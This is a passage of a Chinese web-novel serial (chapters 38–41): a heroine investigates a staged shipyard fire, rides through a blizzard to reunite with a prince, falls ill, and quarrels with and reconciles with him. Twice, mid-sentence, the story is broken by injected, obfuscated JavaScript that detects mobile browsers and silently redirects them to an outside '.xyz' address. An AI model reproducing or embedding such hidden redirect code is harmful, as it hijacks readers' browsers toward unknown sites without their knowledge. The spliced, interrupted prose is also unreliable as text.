方绾宁在废墟里绕了好几圈,看能不能查清楚失火的原因。据当夜巡逻的人员口供,没有可疑人员出没,平均一盏茶的工夫巡一次船坞,按理说没人能在那么短的时间纵那么大一场火。最后离开的人是陈师傅,他再三强调过,他走的时候巡了三遍没有异常。 越调查,越觉得困惑,船坞是禁火的,那起火的火种是哪儿来的? 而且,烧得太干净了,就算木料易燃,但其间钉的铁钉在废墟里一根也没有找到。 “方执事。”有人叫她。 她回过头看,是陈师傅,“怎么了,陈师傅,有想到什么起火前的细节吗?” 陈师傅:“能想到的我都说了,只是看你怎么在四号船坞转悠?” 方绾宁疑惑,“这是主船的建造处,我来看看有没有什么发现,找一找失火的起因。” “那你应该去八号船坞啊,主船前阵子移到那边去了。”八号船坞已经非常靠近水沽的最边缘。 “嗯?什么时候。”方绾宁立即问。 “没多久,就前两三天吧,邓大人让我们搬的,费了老半天功夫了,没承想还是被烧了。”陈师傅也伤心着。 方绾宁听后,立即跑去了八号船坞,细细查看了半晌,但还是只有一堆灰,没有其他发现。 不对劲。 方绾宁站在水塘边上,眉间都拧成了一股绳,忽然一阵风吹来,带起废墟里的灰飘得满天都是。 “阿嚏!”方绾宁不禁打了一个喷嚏,好像除了烧焦的木灰味儿,还有其他味道,她揉了揉鼻子,确定在风里闻到了另一种味道。 “陈师傅,你有没有闻到什么其他味道。” 陈师傅也闻了闻,答:“嗯。有点像我们刷船板用的桐漆,可能是其他船坞飘来的吧。” “不是,桐漆不是这个味道。”方绾宁又向周围查看起来,许是遗漏了什么重要地方。 突然,她发现水塘里的水有点不对,边缘处浮了一层油,在青天白日里瞧得真切,也可能是陈师傅说的桐油,她走向水塘边,用手沾了一点靠近鼻子。 “是火油。” 陈师傅听到方绾宁的话也霎时一惊,忙不迭地过去也沾了一手指,闻了一番,“嗯,是火油,不是桐漆。”他反应了过来,音量提高,“是人为的,有人烧了我们的船!” 方绾宁将手上的火油擦在边上的草丛,将她这几天调查到的信息,在脑海里过了一遍。 “方执事,你说是谁要烧我们的船?” “这个问题,看来我得去找一趟邓大人了。” 邓府。 邓行闻语气轻缓,“方执事,别慌张,船还在,没烧成呢。” “还请邓大人告知我。”方绾宁站在厅内,身形笔直,外面的风吹得她耳朵疼,到了这里,一股热气扑面而来,让她暖和不少。 “战船我已经提前移到了别处,方执事安心,没毁,就是烧了一些无关紧要的小船。” “在何处?”方绾宁言辞急切。 邓行闻:“等应京的人离开了晋照,自然会让方执事知晓,少安毋躁。” 方绾宁:“所以,邓大人早就知道会有这场火?” “嗯,是,要不是我授意,这场火怎么能烧得那样大,应京的人又怎么能相信全烧光了呢。” 应京的人?是那新册封的太子吧。果真皇家的那些人,为了清除异己什么也干得出来。可他为什么会突然来烧水沽?水沽的船从夏建到现在都快入冬了,现在来烧?难道不是等到快要建成的时候来一把火,更令他大快人心? 那个新太子是不是没在青州讨到什么好处,才来放把火以安心头之愤。 小川,青州肯定不是你信里说的那样太平,你瞒了我什么?她想知道,但问无可问,周围好似全是他的人,只要他不想让我知道,谁也不会说。 她站在厅内,被热气激得浑身发汗。 方绾宁又向邓行闻瞧去,见他端着一杯茶坐在主位上,神情悠哉,“邓大人,此次水沽损失不可估量,您不着急?” 邓行闻:“都是为渊王殿下办事,损失点这些小钱,没什么大碍。”他看了方绾宁脸上的愁容,又起了安抚的心思,放下茶杯对她道:“方执事也别忧心,工期赶紧些,明年开春,战船定能如期下水。这几天辛苦了,晋照的冬天恶寒,院里可有准备冬衣?” 方绾宁有点不自在,拱手还礼:“谢邓大人关心,文晓都准备了。这几日我还是去水沽多照看吧,做戏给应京的人看也要做足些。” “嗯,其实也不用……” “方宁告退!”方绾宁急忙退了出去,邓行闻的关心让她有点局促不安。临到门前,想起一个问题,又站住了脚,“邓大人,还想请问一件事。” 邓行闻:“你说。” “邓大人怎么知道应京的人要来放火?”他一个淮南道观察使如此重视一个,荒凉之地的亲王?晋照可比青州繁华太多,郁先生的面子那么大?能让他不计较水沽战船建造的费用,还时刻紧盯着应京的动向,恰到时机地洞悉有人来纵火,还甘心送出十几间船坞去烧给应京的太子看……是不是有点过了? 郁先生救过他的命? 只听邓行闻笑着回答:“朝堂之事瞬息万变,当然时时刻刻都要做好准备。” “那您知道郁先生,去什么地方了吗?” “不知。” 方绾宁了然:“多谢大人解惑,方宁告辞。” 邓行闻看见那瘦小的身影,决然的走入了寒风中,她拢了拢衣领,将脖子缩了进去,步子走得快,又迈得小,一副小孩儿模样。 呵,渊王殿下以后回京了,要将她也带去吗?那她不得被应京的大雪压得断了骨头? 方绾宁前脚回了兰苑,后脚邓大人送的几件袄子就到了,还有一件雪白的狐裘,缀了湖蓝色的边,披在身上又保暖又贵气。 方绾宁疑惑,邓大人对自己是不是太好了?因为邓维伤过她? “姑娘,这狐裘工艺精湛,料子极好,一点不输京里的裁缝。”文晓将那狐裘比着方绾宁的身子,“嗯,有点大了,我去给你改改,入冬了正好用。” “嗯。”方绾宁微笑。 “对了,方姑娘,这几天蒋时彦每天都在院外守着,今天下午要学琴吗?” 方绾宁摇头,“最近都不学了,但还是让他进来吧,外面冷。” 蒋时彦进屋时,看见方绾宁正站在窗前练字,他走上前,恭敬行礼,“方执事。” “蒋公子。”她唤了一声他,正色道:“学琴的事,暂时得搁置了,水沽大火的事你也知道,之后我得天天去船坞守着,毕竟是王爷交代的差事,办毁了可是会受罚,你自明天起就不用来了,我会给你一笔钱,你不用担心生活问题,慢慢再找一份其他差事吧。” “你赶我?”蒋时彦直直盯着她。 方绾宁解释:“我不是这个意思,只是我身边确实没什么需要做的事,你不必再待在我身边。” “那你是嫌我什么也不会咯。” “……我要办的事儿,蒋公子确实帮不上什么忙,以后如果我要再学琴,一定来找你。”方绾宁耐心解释,又是做些多余的事惹上的麻烦,如果水沽没出事前,倒是可以一直将他留在身边,也热闹,但她如今得守着船,没心思了。 “你怎么知道我 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文晓对蒋时彦还是有些微词的,毕竟他是外男,尽管少进方绾宁的房,但还是整天担忧会不会被发现方绾宁的女儿身份。直到有一天,在街上看见了一对冻得瑟瑟发抖的一家人,年迈的老妪和一个中年女子将一个小孩围在身前,脚边摆着一只破破烂烂的碗。 方绾宁下车去给她们买了吃食,还准备往碗里丢一些碎银子,被蒋时彦拦下了手,“你给那么多,是想巴不得让她们被抢?” 蒋时彦让她看看周围,方绾宁看向四周有几伙乞儿正往这边瞧,抱歉地说:“是我大意。” 接着将碎银子换成一些铜板,重新丢进她们碗里。 “谢谢,谢谢公子,不知公子姓名,家住何处,民妇定将报答。”那中年女子一边咬着肉包,一只手还抓住方绾宁的衣角,颤巍巍说道。 正当方绾宁要回答时,蒋时彦却开口道,声音带着严厉,“你管那么多干什么,得了吃食活过今天就已是你的运气了。”说完将方绾宁的衣角从那妇人手里拽出来,推着她上了马车。 “你那么凶干吗。”方绾宁还想斥他。 谁知对上蒋时彦阴沉的眼,“你做得太多了些,还想告知她们住处?你整天闲得慌,喜欢到处收留难民?” “我哪有。” “那些难民自有官府的收容所收留,她们不去,而是在街上乞讨,你以为她们是无路可走?那些乞丐运气好的话,一天乞讨的钱都能潇洒度日很长时间了,晋照的乞丐如今这般多,除了天灾人祸,另一半就是有你这种喜欢撒钱的冤大头,”蒋时彦说得不客气,刺激的方绾宁的脸瞬间红了。 “你!你骂谁呢,要不是我好心,时月现在还在街头唱曲,你……”她住了嘴,不想再说,她觉得揭人疮疤这种行为,不太好。 “是啊,要不是你这冤大头,我也赖不上你。”蒋时彦将她被那妇人抓皱的衣角抚平,“所以,我得看着你,我是最后一个赖上你的,没有下一个了。” 方绾宁靠着车窗正生气,文晓倒是挺高兴,想来日后方姑娘会少些奇奇怪怪的事儿。 七天后,方绾宁重新见到了那艘被邓行闻藏起来的战船,就紧临着那八号船坞,没被烧,完好无损。她兴奋极了,忍不住过去抱着桅杆亲了一口。 周围人见她这样纷纷眉间一跳。 方执事,你这,让我们以后怎么面对这根桅杆…… 方绾宁又开始忙碌了起来,大部分时间给了水沽,加快了战船的进度,又重新安排了冲锋船的建造,她偶尔的闲暇,就是在兰苑的马房给“高德”刷澡。 嗯,现在她过了王霄那关,能将她的小红马牵回来了。 蒋时彦每天都来报道,在水沽的时候就在一旁学习,跟着方绾宁回了兰苑就待在一旁看书,他什么书都看,学得很快,方绾宁对他越来越满意,当然了,他那张嘴再修行修行就再好不过了。 日子就这样到了大雪,郁先生终于从青州回来了。 39.相见 第三十九章 “咚,咚,咚……” 大清早,天刚蒙蒙亮,蒋时彦裹紧了衣服,到院中开门。 “谁啊?”蒋时彦不耐烦地问,一边打开门。 门外的人竟然是文晓。 蒋时彦忙正了正身,声音轻柔地问:“文晓姑娘,这么早,可是方执事有什么要紧事?”照往常,她现在应该还没起吧。 文晓福了福身,言辞温婉,“蒋公子,确实是方执事的事,就在刚才她已离开晋照,前往青州,交代我特意来告知你一声,这段时间不必来兰苑。” “她回青州?那她还回来吗?”蒋时彦语气急切。 “是,归期不定,但肯定回来。”文晓答。 蒋时彦松了口气,“那还行,真是佩服方执事,这么冷的天,还北上回青州,王爷有要事?” 文晓:“不知,但方执事还说。” “说什么?” “方执事不在的这段日子里,蒋公子的工钱减半。” “什么!”蒋时彦怒了,“方宁,你丧良心!” “阿嚏!”方绾宁骑在马上,打了一个大大的喷嚏,天寒地冻,她又将袄子裹紧了一些。 “方姑娘,可要休息?”王霄追上她的马,和她并行。 方绾宁摇头,“不用,早点赶到下一个驿站吧,不用休息,我坚持得住。” 隆冬的天气真是要人命,呼出的每一口气都像是要结冰,即使戴了手套,握住缰绳的双手还是发木,浑身裹得只露出一只眼睛,那些刺骨的风还是能钻进脖子里,肆虐方绾宁本就单薄的身体,让她在马上看起来摇摇欲坠。 王霄沉默地又退回她身后,目光所及全是她的背影。 郁先生还没回晋照前,方绾宁就计划着回青州了。她自秦梦楼之后就一直惦念着俞修衡,每次描他的字帖,每落笔写下一个字,都有他的影子映在手腕。晋照的风雨伴了她整整五个月,但每晚梦里,出现的都是青州的海。 所以自郁先生回来后,她就迫不及待地申请回青州了,刚开始郁先生说什么也不同意,现在天气恶寒,他离开北阳城的时候已经在飘雪,路况也算不得多好,马车更容易遇险……叽里咕噜说了一堆,方绾宁也不听,去水沽交代完事儿之后,牵了高德就往城外走。 逼得郁先生最后还是答应了她,派了一只八人小队随行,文晓给她准备了厚厚的狐裘,帽子,耳罩,方绾宁也做好了心理预备,回青州的路上就算遇到了海天之水倒灌,漫天风雪埋身,她也得回到他的身边。 青州从前日起就开始下雪了,铺在路面上,薄薄的一层,风倒是很大,穿过城里冷清的街道,发出阵阵野兽般的尖啸之音。 俞修衡最近也很少出门,沧澜阁里的炉火就没熄过。近海上的海寇船自上月起就没再来,许是讨不到好处,又怕冬季幽深的大海,总之,日子又平静下来,除了城外正研发着大炮的明风营,需要他隔三岔五地去一趟,其余的生活倒也闲适,他又有时间继续刻章了。 方绾宁自昨日就有点低烧,但她没敢说,一路上王霄盯她盯得紧,只要她脊背一有些松,就恨不得原地住个三四天。今早又加紧赶了路,现在方绾宁的脸因高温红的不行,不过还好藏在狐裘面罩下面,并不是很显眼。 在她脑子越来越晕的时候,终于看见了青州的城墙。 入城时还被拦了一下,是一支完全陌生的军队,方绾宁不认识,她取下那枚螭吻玉佩,交给王霄去交涉,她也好趁着时间,眯眼休息会儿。 “方姑娘,还好嘛,可以入城了。”王霄走到她的马前,唤她,看她裹在雪白狐裘下,一副精神不济的样子,眉间一片愁云。 方绾宁听见王霄的声音,艰难睁开眼,看着霍然洞开的城门,尽管身子还在发软,但她突然涌出一股心劲儿,挥手一鞭甩在马上。 “驾!” 俞修衡手里拿着的是第三块绿石了,上一枚本到了收尾阶段,一直在琢磨章上的字,谁知被周陵的人摔了,磕碎一个角。 如今这块也才堪堪雕完上面的花样,世上第二株明堂雪,一朵在齐陵城外,一朵在这印章上。俞修衡将上面的灰吹去,嘴角微弯,甚是满意地看着这枚章。 待下次寄往晋照的信,就能把它送给绾宁了。 赋思候在屋内,透过窗户,遥遥看见有一小厮急急忙忙地跑进沧澜阁。她神色一凛,出了门在院里拦住他。 “不懂规矩?这地方岂是你能来的?” 小厮慌忙跪下,“禀姑娘,恕奴才无礼,确实是有要事。” 赋思问:“何事?” 小厮抬头回答,脸上绽开喜悦的笑,“是方姑娘,方姑娘回来了!” “你没看错?” “没有,小的见过方姑娘,是她!” 赋思顿时也是一喜,慌忙回身进屋,她动作有些乱,险些撞了屋内的高几,被兰花扶了一把。 俞修衡听见动静,扭头来看,只见平时恬静的赋思,此刻满脸兴奋的神色。 赋思:“王爷,方姑娘回来了。” 俞修衡愣了,这句话像是一段杂音在他脑子里一闪而过。 “你说什么?再说一遍。”他声音有点抖。 赋思重复:“方姑娘从晋照回来了!刚才小厮来传话,说是刚下马,此时正在来沧澜阁的路上……” 话音刚落,赋思只觉得身边飘过一阵风,再抬眼哪儿还有王爷的影子,他连披袄都没顾上,着了一件藏青色的襕袍,就冲进了青州的朔风中。 俞修衡刚踏出门,入目便是那站在垂花门下的雪白身影,她一手撑着院门,头顶上还堆着雪,呼出的白气灼灼,像是山顶上最早升起的白雾,那一刹那,他只觉得心口仿佛要窒息般,又见那身影直直向他跑来。 四季的枯荣和千秋的美梦,都在这一瞬黯淡,尘世轰鸣,大雪肆虐,他终于又能见他的另一半魂灵。 方绾宁的脑子越发沉重了,从府门前走到这里,真真是耗尽了她全部的力气,终于到了沧澜阁,她扶着院门喘息片刻,就看见屋内发慌似的走出一人。是他,他好像比之夏天时,瘦了不少,不知是不是光线的缘故,他那身单薄的袍子在她眼里闪光。 哈,定是在衣服里掺金线了,我怀金垂紫的渊王殿下啊。 方绾宁拖着身体朝他奔去,步伐踉跄,险些摔倒,还好被俞修衡一把揽过,紧紧抱在怀里。 天地肃静,两人在青州的寒风中相拥。 赋思和兰花走出房门,赋思的手上还拿着一件墨色大氅,但她没有上前去打扰院中的两人,她的眼睛也悄悄泛了红。 兰花满脸疑惑,问:“那是谁?” 赋思笑着答:“那是王爷的心上人。” 俞修衡抱着方绾宁,像抱着一团雪,冻得他的双手发白,可怀里人的气息是那么灼热,她每呼吸一口,都能在他的皮肤上烫一个疤,她靠在自己的胸膛,竟止不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783673|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地颤抖。 “绾宁,是你。”他咧嘴笑,心里是止不住的欢喜,抱着她的手也在收紧,生怕这只是一场冬日的海市蜃楼。 方绾宁的喉咙干涸得每吐出一个字,都像是有利刃割颈,她在他怀里仰起头,眼里是含不住的泪,滴在地上还冒着热气。 她声音嘶哑,朝他艰难开口:“小川,你受苦了。” 俞修衡一怔,身子瞬间僵硬,那些悲苦的时光在这一瞬似走马灯闪过,他鼻头酸涩,竟不知该作何言语。 可如今这样,她冒着大雪而来,浑身狼狈,一时竟分不出到底是谁在受苦。 他低头想去看她的眼睛,却只感觉到这具身体在自己手里软下去,眼皮似千斤重地闭上。 “绾宁,绾宁!”俞修衡焦急大喊,又拉开她围在脑袋上的狐裘领,想让她透透气,谁知露出的是一张烧得通红的脸,他瞳孔怒睁,不用去试也知道她的温度烫得吓人。 俞修衡一把抱起方绾宁就往屋里走,“来人!叫李太医!快!” 方绾宁这一病,就是整整两天没睁开眼。脑子里全是回青州路上呼啸的风,和落在身上的雪。她心里念着俞修衡,一度想睁开眼看看他,她知道他就在身边,还能听见他一直在和自己说话,但她实在没力气,只能隐约见他一点衣角,又昏睡了过去。 俞修衡将人靠在怀里喂药,刚见她徐徐地睁开了一条缝隙,以为她终于要醒来,结果一瞬又耷拉了下去,心疼得他眼眶红了又红,手里的药碗差点端不住。他定下神,将这碗药仔细喂了,又将她轻放进锦被里,盖得严严实实。 轻声走出房间,俞修衡来到偏厅,厅里乌压压跪了一片,关珏站在他身后,抱剑而立。 李溪是王府中任职多年的大夫,皇宫里的太医院出身,此时正跪在地上向俞修衡禀告方绾宁的病情,“回王爷,方姑娘多日来,冒着风雪赶路,身体疲敝,导致寒气侵体,头身疼痛,脉象阻遏,而今温度已然下降,性命无碍。” 俞修衡问:“那她什么时候会醒?” 李溪:“今次喂过药后,只要再辅以药酒推拿之法,疏通经络,按行全身,不出意外,最迟明日晚间就会醒。” “嗯。”俞修衡缓了一口气,点头。 李溪起身告退,“那老夫这就去指导赋思姑娘,按摩推拿的手法,好为方姑娘推血行宫。” 俞修衡敛眸挥手。低气压弥漫在整个厅内,王霄等人直直地跪着等候渊王殿下的问话。 直至李溪都快跨出偏厅房门,跪在地上的王霄突然出声:“李太医!”李溪停住脚步,王霄接着说:“方姑娘前几个月伤过骨头,推拿之时,请避开前胸下三寸。” 李溪了然:“还好王副典军提醒,老夫会注意。”说完抬脚便离开了。 主位上的俞修衡听到方绾宁受过伤,眼眸蓦然一跳,他瞪着王霄,问:“王霄,你说什么?绾宁受过伤?” 王霄在晋照时,郁先生也早就告诉过他,邓维的事不必告知王爷知晓。但今天如果隐瞒此事,方姑娘怕是会因为简简单单的推拿造成二次骨裂。 他低着头,不敢看俞修衡,“是,殿下,方姑娘在晋照断过一次肋骨……” 王霄如实告知了王爷此事,他也做好了受罚的准备。 俞修衡听完,胸腔里登时升起一团怒火,他一把挥开手边的茶杯,噌地站起身,按住想去踹王霄一脚的冲动。 满脑子都是:我的绾宁挨了打! 40.争执 第四十章 方绾宁醒的时候,外面的雪也停了,但天还是阴沉沉。她动了动手指,觉得浑身暖乎乎的,除了头还有些晕,其他似乎都挺好。 “你醒啦。”耳边有人出声。 方绾宁撑起身子,看着和她打招呼的女孩子,一时愣神没认出她是谁。 兰花凝神瞧了她一会儿,轻笑一声转头出去了。 哎?这位小姐姐是谁?怎么没见过… 不一会儿,俞修衡从门外急匆匆地进来,见着床上坐起来的方绾宁,皱了几天的眉头终于舒展开:“绾宁,你终于醒了。” “小川!”方绾宁也高兴,她就是回来看他的,此时见到他嘴角忍不住往上扬,“我发烧了是吧,哎,都怪这小孩儿身体。” 他坐到床边,关切又埋怨,“你可知你躺了整整三天,怎么能如此不顾及自己的身体,那么冷的天,还回青州来。” “想你了呗,晋照玩儿了一通,发现还是喜欢青州,趁着郁先生回来,就让他多多照看水沽,我这才有机会溜回来看你。”方绾宁虽在笑,脸色还是苍白,未束的头发披在肩上,衬得她更加羸弱。 俞修衡心疼得不行,“你可知路上还下着大雪。” “我知道。” “那你还……” “我就是想你,真的。我现在骑马完全没问题,你见过我那匹小红马了吗?特别好看,我喜欢极了。” 方绾宁的眼睛亮亮的,像盛满了春水,让俞修衡忍不住想去抱抱她,抬起的手又放下,又觉得这样不太好。 转念又说:“饿了吧,我让赋思拿吃的来,吃完你再躺一会儿。” 方绾宁拒绝,“别,我还是起床吧,躺得我浑身都僵了。” “那我让赋思给你穿衣。” “其实我自己也能行。” 赋思上前,“方姑娘,还是让我帮你吧。” 方绾宁许久没见自己女装的样子,乍一看还有点陌生,而且这衣服好像有点华丽了,宝石蓝的锦缎棉袄,上面织着繁复的云纹图,领口还缀着一排珍珠,又贵气又雅致。方绾宁侧头去看正给她梳头的赋思,问:“这衣服是我的?我以前怎么没见过?” 赋思回答:“王爷新裁的冬衣,方姑娘没回来肯定没见过。” “哦,也是。”方绾宁点点头。 方绾宁让赋思给她多上一层胭脂,要不然脸色太白,让小川担心。 赋思却说:“不想让王爷担心,王爷也担心三天了,整日守着姑娘,您每一次的药都是王爷亲手喂的。” 听完方绾宁又内疚起来,那日见他,还没说上几句话,自己就晕倒了,肯定吓着他了吧。她走出里屋,看见饭桌前的俞修衡还有点打怵。 俞修衡看她站那愣神,唤她:“怎么了,快过来,有你爱吃的。” 见他满脸关怀之意,方绾宁眉眼舒展,坐到他身边接过他盛的汤。 毕竟还在病中,方绾宁填饱肚子后,放慢了进食速度,和俞修衡聊了起来。 她问:“小川,这几个月,你还好吗?” 俞修衡回答:“挺好的,怎么了?”他也陪着她一起吃,举手投足赏心悦目。 “承王是新太子了,对你没有一点影响?” 俞修衡拿筷子的手一顿,没看她,“有一点吧,但都解决了。” “那我入城时,看见有些街道的铺子都烧焦了,是因为什么?” 俞修衡神情自若,解释道:“海寇入侵了几次,但没造成什么大损失。现在他们也撤走了。” 方绾宁又问:“那城里守着的军队?” “是我舅舅派来的人。” “你舅舅?” “嗯,他是平西的镇国大将军,拨了一万人马,护卫青州。” 对俞修衡这有问必答的态度,方绾宁一时有点混乱。 这么简单?寥寥几句话,就解释清楚了我一路的担忧? 方绾宁心情并没有因为他的坦诚而变好,没好气地冲他道:“你在敷衍我吧,哪儿那么简单,这也解决了,那也没事了。你肯定有什么瞒着我!” 俞修衡一脸狡黠,说:“那绾宁觉得我瞒了你什么?” 方绾宁眼珠子一转,正好看见那个不认识的女孩子,便指着她问,“比如,这个女孩子哪儿来的?你新收的婢女?你有一个赋思还不够,还雇个新的。” 俞修衡朝她指的人看了一眼,抬手将她的手指扒下来,道:“她可不是普通的婢女。” “那是什么?” 兰花抬眼瞧着俞修衡。 “她以前可是个武艺高强的杀手,手染鲜血,纵横江湖,不过现在弃暗投明了,做了我的婢女。我许诺她从此活得光明正大,她作为回报,领点微薄的月钱,顺手留在王府保护我。” 兰花:这什么理由,人家会信? “杀手嘛,好帅!”方绾宁惊呼。有这种人保护他,自己可就安心多了! 这也信?兰花无语。 俞修衡似乎早就知道这样的结果,不管他说什么,绾宁都会信,不会疑他。 他放下筷子,侧身看向方绾宁,“那绾宁有没有什么瞒着我的?” “我?没有啊。”她还在盯着兰花看,一脸崇拜,随口回答道。 “那,绾宁和我解释一下,你骨头受伤一事吧。”俞修衡伸出手,点在方绾宁的左胸下方,正是邓维伤她的那一处。 方绾宁一瞬收回目光,扭头看向俞修衡,瞳孔微张,“你怎么知道?”转念又想,可能是这次生病大夫诊出来的,进而对上他审视的眼睛,不在意地说:“这都能被你发现,哈哈,就是骑马不小心摔的,如今都已经好了个彻底。哦,对了,小川,明日带我去千鸟山吧,我想去看看。” 俞修衡抿着唇角,没急着回她的话,将视线投在院外的积雪上,她骗他,俞修衡拧着眉心里不是滋味。 他的眸光和那雪一样冷,沉默的氛围倒是让方绾宁紧张起来。 “最近下雪,千鸟山的路肯定不好走,等天晴再去也行。”她低声说,瞧着俞修衡面上的表情只觉得心颤,他好像在生气,屋里又安静极了,不知道该说什么。 等了半晌,俞修衡吐出一口气,说:“这次回来时间有的是,等到春天的时候再去吧。” “这怎么行,我过几天还是要回晋照的。”方绾宁急呼。 “你还想回去?”俞修衡不悦。 “不回去怎么行,战船的进度到一月底就要开始收尾了,我得盯着。” 俞修衡突然提高声量:“水沽又不是非你不可!” 方绾宁讶然他的语气,直愣愣看着他,说:“你什么意思,觉得我去晋照真的就只是去玩乐了是吧。” 那我在兰苑熬夜改图的那些日子算什么?我在水沽直面那些眼高于顶的官员,讽刺这不过是一个黄毛小儿的怪思时,仍据理力争的日子算什么?水沽大火后那整夜整夜的噩梦,充斥着的愧疚、思念又算什么! 她不禁红了眼,低下头不想让他看见。 俞修衡也察觉到刚才的语气不对劲,忙软下来,“我的意思,只是路途风雪太大,你再回去,怕身子受不住,水沽还是让郁先生照看吧。” “那我说,我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787382|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要回去呢。”方绾宁坚定地看着他。 水沽不是一个无关痛痒的工作,明明是她的心血,她一定要见证战船下海的那一刻。 俞修衡看着她这一脸一意孤行的样子,也染了怒气,“绾宁你是非要把自己的命悬在崖上是吧,你知不知道前几天有多凶险,这个时代因为高烧真的会死人的,你非要让我为你担惊受怕吗!” 她躺在自己臂弯里,药也喂不进去,全洒在衣襟里,烧得喃喃低语的样子还历历在目。 他起身想去握她的手,被方绾宁一把甩开,她也站起身来,冲他道:“那你难道不知,我为什么要马不停蹄赶回青州的理由嘛!” 俞修衡看着她,目光柔柔,声声猎猎,“我当然知道,所以我不能再让你身处险境,就那么安安心心待在我身边不好嘛,我是亲王,你想要什么钗环首饰,锦衣绫罗我都能给你,你只需要开心、无忧无虑就好了。” 方绾宁听罢,冷笑一声,“你把我当什么了?养宠物?你在东洲待久了,习惯这么看人?你觉得我贪图你的身份地位,留在你身边就是为了逗你笑?”她一滴泪划过面颊,伸手随意抚去,又看着他,接着说:“你现在是用什么身份在跟我说话,是张乐川,还是尊贵无比的渊王殿下。” 俞修衡被如此质问,心揪着疼,伸手揽过她,低声道:“我在你这里,永远都是那个十八就死掉的张乐川。” 方绾宁在他怀里小声哭,哽咽地道:“我说过要和你一起打海盗,重建青州城的,我不想只是站在你身后,我想要你今后的每一段路上,都能有我的影子。” “嗯。”俞修衡低声答应她。 “过几天,等天气放晴我就走,不要担心我,这次回程我不会再不顾身体,有王霄他们护着,我会平安的。”她尽力安抚他。 可半晌没听见他的答话,方绾宁挣开怀抱,仰头看他。 只听他冷冷地说:“王霄暂时不能陪你回晋照了,我派其他人护送你回去。” “他怎么了?”方绾宁问,心里升起不好的预感。 俞修衡漠然道:“王霄护卫不力,已被降职,惩处了军棍五十,你走的时候他可能还在养伤。” 这一瞬间的情绪难以言喻,方绾宁只觉得脑子里的一根弦嗡地断掉。 王霄做错了什么?再一次连累他受罚。 明明做错的是她,是她举止不端,引别人遐思,是她没摆正自己的位置,是她固执己见不顾风雪赶路,分明是他一路上劝诫自己多休息,可临了到头,得到个降职打罚的下场。 “你怎么能这样对他,他什么也没做错,错的明明是我,你怎么不罚我?”方绾宁声声嘶哑。 俞修衡眉间不自觉收紧,“我如何能罚你。” 方绾宁心里一冷,突然推了俞修衡一把,他一时身形不稳,扶住桌子时不小心将碗碟摔碎在地上。 “啪嚓~” 听见动静,门外的关珏突然闪身进了房里,手握在了剑柄上,一旁伺候的兰花也近了一步。 俞修衡怒目:“你们想干什么,出去!” 方绾宁见此,自嘲一笑,“你让我觉得,我就是一个罪人,渊王殿下。” 她神色落寞的朝外走去,被俞修衡一把拉住手,“别走!绾宁。” 她转过头,泪眼婆娑,“我觉得我还不如没有遇见你。”方绾宁掰开他的手。 院外的天色沉闷,唯一一点晚霞在天幕上染色,这王府弥漫着薄雾,连光也照不透。 方绾宁踏出门后,想回自己的临风榭,但又觉得那还是俞修衡的地方,微怔后朝着府门外走去。 41.心绪 第四十一章 那句话瞬间抽干了他肺里的空气,每一次脉搏的翕张都让他的胸膛犹如刀割。被方绾宁挣开的手,还在止不住地颤抖,他一下按住了心口,庞大的悲伤如同荒原上最凛冽的风,正在席卷他的四肢百骸。 房里的另外三人连呼吸都觉得慌张,他们不明白局面怎么突然就变成了如今这样。三天前明明还相拥着的两人,今日却要风流云散。 关珏忍不住开口:“王爷,方姑娘她……” “闭嘴!”俞修衡怒吼。接着,他便踉跄着冲出门去。 他不能让她离开自己,俞修衡那全是血影的人生他真是过够了。 本已做好了准备,出门便会看见她离开的背影,但……他却看见了,他的绾宁在院子里正等着他。 “我还以为你不会出门追我呢。”她缩了缩脖子,“好冷,你没给我拿披袍吗?” 俞修衡微微愣神,下一刻便冲过去抱住了她,呜咽道:“我还以为你走了。” 方绾宁环抱住他,腾出手拍了拍他的背,“对不起啊,我出来吹了这凉风才突然意识到,刚才说了什么混账话,我收回,以后不会了。” “嗯,别再说了,我受不了那些字眼。” “对不起,小川……” 兰花:我不太明白他们。 赋思:王爷开心就好。 兰花:可我见他们并不开心。 赋思:兰花姑娘,你不会明白。 兰花皱眉:嗯? 她朝关珏看去,问他:你看明白了吗? 关珏收回落在院中二人的目光,看向兰花:私议皇族,是重罪。 兰花撇嘴:啧。 二人又重新回了屋,俞修衡拿了件新的狐裘将方绾宁裹了起来,“又吹了风,你这病不知道什么时候才能好。” 方绾宁心里酸涩,还是笑着对他说:“也许明天就好了。” “那你安心休息,我去给你端药来。” 俞修衡朝外走,被方绾宁拉住了衣袖,“别罚王霄,好嘛,他已经很尽职了,是我不好。” 他看着拽紧衣袖的小手,眼神暗了一下,“你没有不好。”又抬眼看她语气轻柔,“明天就让王霄复职,别再挂心了,但你身边的护卫,我还是会换人。” 方绾宁点头,“嗯,就让他在青州好好休息。” 晚间,方绾宁回了临风榭,躺在床上半宿没有睡着,她控制不住地去琢磨自己对俞修衡的感情。 按她穿越以来的念头,她现在应该在余杭逍遥闲适的过日子,最多为点银子发愁,可如今她却在这萧索的青州城里晃荡,忙活的事还关乎着一城的安危。 她应该是自由的,没有顾虑的,谁在她前面挡路,她要么绕要么逃也不能受摆布。 可一切都在齐陵外遇见俞修衡开始,好像哪里就不一样了。她也说不清道不明,开始的时候,明明只是想背靠大树吃喝玩乐、闲茶浪酒的,可兰苑那晚听见俞修衡十不足一的过去,涌上心头的不知是痛惜还是无措,只觉得浑身发肤被什么无形的东西捆绑,让她气也喘不过来。 